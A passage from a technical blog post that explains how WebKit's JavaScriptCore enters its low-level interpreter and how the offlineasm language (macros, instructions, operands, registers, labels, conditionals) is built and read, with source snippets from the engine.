</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span><span style="color:#f92672">*</span> entryAddress;
</span></span><span style="display:flex;"><span>    entryAddress <span style="color:#f92672">=</span> addressForCall(MustCheckArity).executableAddress();
</span></span><span style="display:flex;"><span>    JSValue result <span style="color:#f92672">=</span> JSValue<span style="color:#f92672">::</span>decode(vmEntryToJavaScript(entryAddress, vm, protoCallFrame));
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> scope.exception() <span style="color:#f92672">?</span> jsNull() <span style="color:#f92672">:</span> result;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The key function in the snippet above is <code>vmEntryToJavaScript</code> which is a thunk defined in the <a href="https://github.com/WebKit/Webkit/blob/main/Source/JavaScriptCore/llint/LowLevelInterpreter.asm">LowLevelInterpreter.asm</a>. The WebKit blog <a href="https://webkit.org/blog/6411/javascriptcore-csi-a-crash-site-investigation-story/#Logging">JavaScriptCore CSI: A Crash Site Investigation Story</a> describes the thunk as follows:</p>
<blockquote>
<p>vmEntryToJavaScript is implemented in LLInt assembly using the doVMEntry macro (see LowLevelInterpreter.asm and LowLevelInterpreter64.asm). The JavaScript VM enters all LLInt or JIT code via doVMEntry, and it will exit either via the end of doVMEntry (for normal returns), or via _handleUncaughtException (for exits due to uncaught exceptions).</p>
</blockquote>
<p>At this point, execution transfers to the LLInt which now has a reference to the <code>CodeBlock</code> and <code>entryAddress</code> to begin execution from.</p>
<h2 id="implementation">Implementation</h2>
<p>Before proceeding any further into the details of <code>vmEntryToJavaScript</code> and <code>doVMEntry</code>, it will be worth the readers time to understand the custom assembly that the LLInt is written in. The LLInt is generated using what is referred to as <em>offlineasm</em> assembly. <em>offlineasm</em> is written in Ruby and can be found under <a href="https://github.com/WebKit/WebKit/tree/main/Source/JavaScriptCore/offlineasm">JavaScriptCore/offlineasm</a>. The LLInt itself is defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/llint/LowLevelInterpreter.asm">LowLevelInterpreter.asm</a> and <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm">LowLevelInterpreter64.asm</a>.</p>
<p>The machine code generated that forms part of the LLInt is located in <em>LLIntAssembly.h</em> which can be found under the <code>&lt;webkit-folder&gt;/WebKitBuild/Debug/DerivedSources/JavaScriptCore/</code> directory. This header file is generated at compile time by invoking <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/offlineasm/asm.rb">offlineasm/asm.rb</a>. This build step is listed in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JSCCore/CMakeLists.txt#L346">JavaSctipCore/CMakeLists.txt</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#75715e"># The build system will execute asm.rb every time LLIntOffsetsExtractor&#39;s mtime is newer than
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># LLIntAssembly.h&#39;s mtime. The problem we have here is: asm.rb has some built-in optimization
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># that generates a checksum of the LLIntOffsetsExtractor binary, if the checksum of the new
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># LLIntOffsetsExtractor matches, no output is generated. To make this target consistent and avoid
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># running this command for every build, we artificially update LLIntAssembly.h&#39;s mtime (using touch)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># after every asm.rb run.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">MSVC</span> <span style="color:#66d9ef">AND</span> <span style="color:#66d9ef">NOT</span> <span style="color:#a6e22e">ENABLE_C_LOOP</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">#... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">else</span> ()
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">set</span>(<span style="color:#a6e22e">LLIntOutput</span> <span style="color:#a6e22e">LLIntAssembly</span><span style="color:#f92672">.</span><span style="color:#a6e22e">h</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">endif</span> ()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">add_custom_command</span>(
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">OUTPUT</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JavaScriptCore_DERIVED_SOURCES_DIR</span>}<span style="color:#f92672">/</span><span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">LLIntOutput</span>}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">MAIN_DEPENDENCY</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JSCCORE_DIR</span>}<span style="color:#f92672">/</span><span style="color:#a6e22e">offlineasm</span><span style="color:#f92672">/</span><span style="color:#a6e22e">asm</span><span style="color:#f92672">.</span><span style="color:#a6e22e">rb</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">DEPENDS</span> <span style="color:#a6e22e">LLIntOffsetsExtractor</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">LLINT_ASM</span>} <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">OFFLINE_ASM</span>} <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JavaScriptCore_DERIVED_SOURCES_DIR</span>}<span style="color:#f92672">/</span><span style="color:#a6e22e">InitBytecodes</span><span style="color:#f92672">.</span><span style="color:#a6e22e">asm</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JavaScriptCore_DERIVED_SOURCES_DIR</span>}<span style="color:#f92672">/</span><span style="color:#a6e22e">InitWasm</span><span style="color:#f92672">.</span><span style="color:#a6e22e">asm</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">COMMAND</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">CMAKE_COMMAND</span>} <span style="color:#f92672">-</span><span style="color:#a6e22e">E</span> <span style="color:#a6e22e">env</span> <span style="color:#a6e22e">CMAKE_CXX_COMPILER_ID</span><span style="color:#f92672">=</span><span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">CMAKE_CXX_COMPILER_ID</span>} <span style="color:#a6e22e">GCC_OFFLINEASM_SOURCE_MAP</span><span style="color:#f92672">=</span><span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">GCC_OFFLINEASM_SOURCE_MAP</span>} <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">RUBY_EXECUTABLE</span>} <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JAVASCRIPTCORE_DIR</span>}<span style="color:#f92672">/</span><span style="color:#a6e22e">offlineasm</span><span style="color:#f92672">/</span><span style="color:#a6e22e">asm</span><span style="color:#f92672">.</span><span style="color:#a6e22e">rb</span> <span style="color:#f92672">-</span><span style="color:#a6e22e">I</span><span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JavaScriptCore_DERIVED_SOURCES_DIR</span>}<span style="color:#f92672">/</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JAVASCRIPTCORE_DIR</span>}<span style="color:#f92672">/</span><span style="color:#a6e22e">llint</span><span style="color:#f92672">/</span><span style="color:#a6e22e">LowLevelInterpreter</span><span style="color:#f92672">.</span><span style="color:#a6e22e">asm</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">TARGET_FILE</span><span style="color:#f92672">:</span><span style="color:#a6e22e">LLIntOffsetsExtractor</span><span style="color:#f92672">&gt;</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JavaScriptCore_DERIVED_SOURCES_DIR</span>}<span style="color:#f92672">/</span><span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">LLIntOutput</span>} <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">OFFLINE_ASM_ARGS</span>}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">COMMAND</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">CMAKE_COMMAND</span>} <span style="color:#f92672">-</span><span style="color:#a6e22e">E</span> <span style="color:#a6e22e">touch_nocreate</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JavaScriptCore_DERIVED_SOURCES_DIR</span>}<span style="color:#f92672">/</span><span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">LLIntOutput</span>}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">WORKING_DIRECTORY</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JavaScriptCore_DERIVED_SOURCES_DIR</span>}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">VERBATIM</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># The explanation for not making LLIntAssembly.h part of the OBJECT_DEPENDS property of some of
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># the .cpp files below is similar to the one in the previous comment. However, since these .cpp
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># files are used to build JavaScriptCore itself, we can just add LLIntAssembly.h to JavaScript_HEADERS
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># since it is used in the add_library() call at the end of this file.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">MSVC</span> <span style="color:#66d9ef">AND</span> <span style="color:#66d9ef">NOT</span> <span style="color:#a6e22e">ENABLE_C_LOOP</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">#... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">else</span> ()
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># As there&#39;s poor toolchain support for using `.file` directives in
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e"># inline asm (i.e. there&#39;s no way to avoid clashes with the `.file`
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e"># directives generated by the C code in the compilation unit), we
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e"># introduce a postprocessing pass for the asm that gets assembled into
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e"># an object file. We only need to do this for LowLevelInterpreter.cpp
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e"># and cmake doesn&#39;t allow us to introduce a compiler wrapper for a
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e"># single source file, so we need to create a separate target for it.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#a6e22e">add_library</span>(<span style="color:#a6e22e">LowLevelInterpreterLib</span> <span style="color:#a6e22e">OBJECT</span> <span style="color:#a6e22e">llint</span><span style="color:#f92672">/</span><span style="color:#a6e22e">LowLevelInterpreter</span><span style="color:#f92672">.</span><span style="color:#a6e22e">cpp</span>
</span></span><span style="display:flex;"><span>        <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">JavaScriptCore_DERIVED_SOURCES_DIR</span>}<span style="color:#f92672">/</span><span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">LLIntOutput</span>})
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">endif</span> ()
</span></span></code></pre></div><p>As the snippet above indicates, this generated header file is included in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.cpp#L536">llint/LowLeveInterpreter.cpp</a> which embeds the interpreter into JavaScriptCore.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">// This works around a bug in GDB where, if the compilation unit
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// doesn&#39;t have any address range information, its line table won&#39;t
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// even be consulted. Emit {before,after}_llint_asm so that the code
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// emitted in the top level inline asm statement is within functions
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// visible to the compiler. This way, GDB can resolve a PC in the
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// llint asm code to this compilation unit and the successfully look
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// up the line number information.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>DEBUGGER_ANNOTATION_MARKER(before_llint_asm)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// This is a file generated by offlineasm, which contains all of the assembly code
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// for the interpreter, as compiled from LowLevelInterpreter.asm.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;LLIntAssembly.h&#34;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>DEBUGGER_ANNOTATION_MARKER(after_llint_asm)
</span></span></code></pre></div><p>The <em>offlineasm</em> compilation at a high-level functions as follows:</p>
<ol>
<li><a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/offlineasm/asm.rb"><em>asm.rb</em></a> is invoked by supplying <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/llint/LowLevelInterpreter.asm">LowLevelInterpreter.asm</a> and a target backend (i.e. cpu architecture) as input.</li>
<li>The .asm files are lexed and parsed by the <em>offlineasm</em> parser defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/offlineasm/parser.rb"><em>parser.rb</em></a></li>
<li>Successful parsing generates an Abstract Syntax Tree (AST), the schema for which is defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/offlineasm/ast.rb"><em>ast.rb</em></a></li>
<li>The generated AST is then transformed (see <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/offlineasm/transform.rb"><em>tranform.rb</em></a>) before it is lowered to the target backend.</li>
<li>The nodes of the transformed AST are then traversed and machine code is emitted for each node. The machine code to be emitted for the different target backends is defined in its own ruby file. For example, the machine code for x86 is defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/offlineasm/x86.rb"><em>x86.rb</em></a>.</li>
<li>The machine code emitted for the target backend is written to <em>LLIntAssembly.h</em></li>
</ol>
<p>This process of <em>offlineasm</em> compilation is very similar to the way JavaScriptCore generates bytecodes from supplied javascript source code. In this case however, the machine code is generated from the <em>offlineasm</em> assembly. A list of all <em>offlineasm</em> instruction and registers can be found in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/offlineasm/instructions.rb"><em>instructions.rb</em></a> and <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/offlineasm/registers.rb"><em>registers.rb</em></a> respectively. <em>offlineasm</em> supports multiple cpu architectures and these are referred to as <em>backends</em>. The various supported backends are listed in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/offlineasm/backends.rb">backends.rb</a>.</p>
<p>The reader may be wondering why the LLInt is written in <em>offlineasm</em> rather than C/C++, which is what pretty much the rest of the engine is written in. A good discussion on this matter can be found in the <em>How Profiled Execution Works</em> section of the WebKit blogpost<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> and explains the trade offs between using a custom assembly vs C/C++. The blog also describes two key features of <em>offlineasm</em>:</p>
<blockquote>
<ul>
<li>
<p>Portable assembly with our own mnemonics and register names that match the way we do portable assembly in our JIT. Some high-level mnemonics require lowering. Offlineasm reserves some scratch registers to use for lowering.</p>
</li>
<li>
<p>The <code>macro</code> construct. It’s best to think of this as a lambda that takes some arguments and returns void. Then think of the portable assembly statements as print statements that output that assembly. So, the macros are executed for effect and that effect is to produce an assembly program. These are the execution semantics of offlineasm at compile time.</p>
</li>
</ul>
</blockquote>
<h2 id="offlineasm">Offlineasm</h2>
<p>At this point the reader should now know how the LLInt is implemented and where to find the machine code that&rsquo;s generated for it. This section discuses the language itself and how to go about reading it. The developer <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L24">comments at the start of the LowLevelInterpreter.asm</a> provide an introduction to the language and its definitely worth reading. This section will highlight the various constructs of the <em>offlineasm</em> language and provide examples from the codebase.</p>
<h3 id="macros">Macros</h3>
<p>Most instructions are grouped as <em>macros</em>, which according to the developer comments are lambda expressions.</p>
<blockquote>
<p>A &ldquo;macro&rdquo; is a lambda expression, which may be either anonymous or
named. But this has caveats. &ldquo;macro&rdquo; can take zero or more arguments,
which may be macros or any valid operands, but it can only return
code. But you can do Turing-complete things via continuation passing
style: &ldquo;macro foo (a, b) b(a, a) end foo(foo, foo)&rdquo;. Actually, don&rsquo;t do
that, since you&rsquo;ll just crash the assembler.</p>
</blockquote>
<p>The following snippet is an example of the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L351"><code>dispatch</code></a> macro.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>macro dispatch(advanceReg)
</span></span><span style="display:flex;"><span>    addp advanceReg, PC
</span></span><span style="display:flex;"><span>    nextInstruction()
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>The <em>macro</em> above takes one argument, which in this case is the <code>advanceReg</code>. The macro body contains two instructions, the first is a call of the <code>addp</code> instruction which takes two operands <code>advanceReg</code> and <code>PC</code>. The second is a call to the <em>macro</em> <code>nextInstruction()</code>.</p>
<p>Another important aspect to consider about macros is the scoping of arguments. The developer comments has the following to say on this matter:</p>
<blockquote>
<p>Arguments to macros follow lexical scoping rather than dynamic scoping.
Const&rsquo;s also follow lexical scoping and may override (hide) arguments
or other consts. All variables (arguments and constants) can be bound
to operands. Additionally, arguments (but not constants) can be bound
to macros.</p>
</blockquote>
<p>Macros are not always labeled and can exist as anonymous macros. The snippet below is an example of an anonymous macro being used in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L1879"><code>llint_program_prologue</code></a> which is the glue code that allows the LLInt to find the entrypoint to the linked bytecode in the supplied code block:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>op(llint_program_prologue, macro ()
</span></span><span style="display:flex;"><span>    prologue(notFunctionCodeBlockGetter, notFunctionCodeBlockSetter, _llint_entry_osr, _llint_trace_prologue)
</span></span><span style="display:flex;"><span>    dispatch(<span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>end)
</span></span></code></pre></div><h3 id="instructions">Instructions</h3>
<p>The instructions in <em>offlineasm</em> generally follow <a href="https://en.wikipedia.org/wiki/GNU_Assembler">GNU Assembler</a> syntax. The developer comments for instructions are as follows:</p>
<blockquote>
<p>Mostly gas-style operand ordering. The last operand tends to be the
destination. So &ldquo;a := b&rdquo; is written as &ldquo;mov b, a&rdquo;. But unlike gas,
comparisons are in-order, so &ldquo;if (a &lt; b)&rdquo; is written as
&ldquo;bilt a, b, &hellip;&rdquo;.</p>
</blockquote>
<p>In the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L976">snippet below</a>, the <code>move</code> instruction takes two operands <code>lr</code> and <code>destinationRegister</code>. The value in <code> lr</code> is moved to <code>destinationRegister</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>move lr, destinationRegister
</span></span></code></pre></div><p>Some instructions will also contain postfixes which provide additional information on the behaviour of the instruction. The various postfixes that can be added to instructions are documented in the developer comment below:</p>
<blockquote>
<p>&ldquo;b&rdquo; = byte, &ldquo;h&rdquo; = 16-bit word, &ldquo;i&rdquo; = 32-bit word, &ldquo;p&rdquo; = pointer.
For 32-bit, &ldquo;i&rdquo; and &ldquo;p&rdquo; are interchangeable except when an op supports one
but not the other.</p>
</blockquote>
<p>In the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L351">snippet below</a>, the instruction <code>add</code> which is postfixed with <code>p</code>, indicating this is a pointer addition operation where the value of <code>advanceReg</code> is added to <code>PC</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>macro dispatch(advanceReg)
</span></span><span style="display:flex;"><span>    addp advanceReg, PC
</span></span><span style="display:flex;"><span>    nextInstruction()
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><h3 id="operands">Operands</h3>
<p>Instructions take one or more operands. A note on operands for instructions and macros from the developer comments is as follows:</p>
<blockquote>
<p>In general, valid operands for macro invocations and instructions are
registers (eg &ldquo;t0&rdquo;), addresses (eg &ldquo;4[t0]&rdquo;), base-index addresses
(eg &ldquo;7[t0, t1, 2]&rdquo;), absolute addresses (eg &ldquo;0xa0000000[]&rdquo;), or labels
(eg &ldquo;_foo&rdquo; or &ldquo;.foo&rdquo;). Macro invocations can also take anonymous
macros as operands. Instructions cannot take anonymous macros.</p>
</blockquote>
<p>The following <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L1174">snippet</a>, shows some of the various operand types in use (i.e. registers, addresses, base-index addresses and labels):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>.copyLoop:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ARM64 and not ADDRESS64
</span></span><span style="display:flex;"><span>        subi MachineRegisterSize, temp2
</span></span><span style="display:flex;"><span>        loadq [sp, temp2, <span style="color:#ae81ff">1</span>], temp3
</span></span><span style="display:flex;"><span>        storeq temp3, [temp1, temp2, <span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>        btinz temp2, .copyLoop
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>        subi PtrSize, temp2
</span></span><span style="display:flex;"><span>        loadp [sp, temp2, <span style="color:#ae81ff">1</span>], temp3
</span></span><span style="display:flex;"><span>        storep temp3, [temp1, temp2, <span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>        btinz temp2, .copyLoop
</span></span><span style="display:flex;"><span>    end
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    move temp1, sp
</span></span><span style="display:flex;"><span>    jmp callee, callPtrTag
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><h3 id="registers">Registers</h3>
<p>Some notes on the various registers in use by <em>offlineasm</em>, these have been reproduced from the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L68">developer comments</a>.</p>
<blockquote>
<p>cfr and sp hold the call frame and (native) stack pointer respectively.
They are callee-save registers, and guaranteed to be distinct from all other
registers on all architectures.</p>
</blockquote>
<blockquote>
<p>t0, t1, t2, t3, t4, and optionally t5, t6, and t7 are temporary registers that can get trashed on
calls, and are pairwise distinct registers. t4 holds the JS program counter, so use
with caution in opcodes (actually, don&rsquo;t use it in opcodes at all, except as PC).</p>
</blockquote>
<blockquote>
<p>r0 and r1 are the platform&rsquo;s customary return registers, and thus are
two distinct registers</p>
</blockquote>
<blockquote>
<p>a0, a1, a2 and a3 are the platform&rsquo;s customary argument registers, and
thus are pairwise distinct registers. Be mindful that:</p>
<ul>
<li>On X86, there are no argument registers. a0 and a1 are edx and
ecx following the fastcall convention, but you should still use the stack
to pass your arguments. The cCall2 and cCall4 macros do this for you.</li>
</ul>
</blockquote>
<p>There are <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L99">additional assumptions and platform specific details</a> about some of these registers that the reader is welcome to explore.</p>
<h3 id="labels">Labels</h3>
<p>Labels are much like <em>goto</em> statements in C/C++ and the developer notes on labels has the following to say:</p>
<blockquote>
<p>Labels must have names that begin with either &ldquo;<em>&rdquo; or &ldquo;.&rdquo;.  A &ldquo;.&rdquo; label
is local and gets renamed before code gen to minimize namespace
pollution. A &ldquo;</em>&rdquo; label is an extern symbol (i.e. &ldquo;.globl&rdquo;). The &ldquo;<em>&rdquo;
may or may not be removed during code gen depending on whether the asm
conventions for C name mangling on the target platform mandate a &ldquo;</em>&rdquo;
prefix.</p>
</blockquote>
<p>The <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L2166">snippet below</a> shows an examples of local labels (i.e. <em>.afterHandlingTraps</em>, <em>.handleTraps</em>, etc) in use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>llintOp(op_check_traps, OpCheckTraps, macro (unused, unused, dispatch)
</span></span><span style="display:flex;"><span>    loadp CodeBlock[cfr], t1
</span></span><span style="display:flex;"><span>    loadp CodeBlock<span style="color:#f92672">::</span>m_vm[t1], t1
</span></span><span style="display:flex;"><span>    loadb VM<span style="color:#f92672">::</span>m_traps<span style="color:#f92672">+</span>VMTraps<span style="color:#f92672">::</span>m_needTrapHandling[t1], t0
</span></span><span style="display:flex;"><span>    btpnz t0, .handleTraps
</span></span><span style="display:flex;"><span>.afterHandlingTraps:
</span></span><span style="display:flex;"><span>    dispatch()
</span></span><span style="display:flex;"><span>.handleTraps:
</span></span><span style="display:flex;"><span>    callTrapHandler(.throwHandler)
</span></span><span style="display:flex;"><span>    jmp .afterHandlingTraps
</span></span><span style="display:flex;"><span>.throwHandler:
</span></span><span style="display:flex;"><span>    jmp _llint_throw_from_slow_path_trampoline
</span></span><span style="display:flex;"><span>end)
</span></span></code></pre></div><p>An example of global labels (i.e. &ldquo;_&rdquo; labels) is shown in the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L1586">snippet below</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> C_LOOP or C_LOOP_WIN
</span></span><span style="display:flex;"><span>    _llint_vm_entry_to_javascript:
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>    global _vmEntryToJavaScript
</span></span><span style="display:flex;"><span>    _vmEntryToJavaScript:
</span></span><span style="display:flex;"><span>end
</span></span><span style="display:flex;"><span>    doVMEntry(makeJavaScriptCall)
</span></span></code></pre></div><p>Global labels have a <em>global</em> scope and can be referenced anywhere in the assembly whereas Local labels are scoped to a macro and can only be referenced within the macro that defines them.</p>
<h3 id="conditional-statements">Conditional Statements</h3>
<p>Another interesting construct in the previous snippet is the <em>if statement</em>. The developer comments on <em>if statements</em> are as follows:</p>
<blockquote>
<p>An &ldquo;if&rdquo; is a conditional on settings. Any identifier supplied in the
predicate of an &ldquo;if&rdquo; is assumed to be a #define that is available
during code gen. So you can&rsquo;t use &ldquo;if&rdquo; for computation in a macro, but
you can use it to select different pieces of code for different
platforms.</p>
</blockquote>
<p>The <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LowLevelInterpreter.asm#L974">snippet below</a> shows an example of an if statement</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> C_LOOP or C_LOOP_WIN or ARMv7 or ARM64 or ARM64E or MIPS
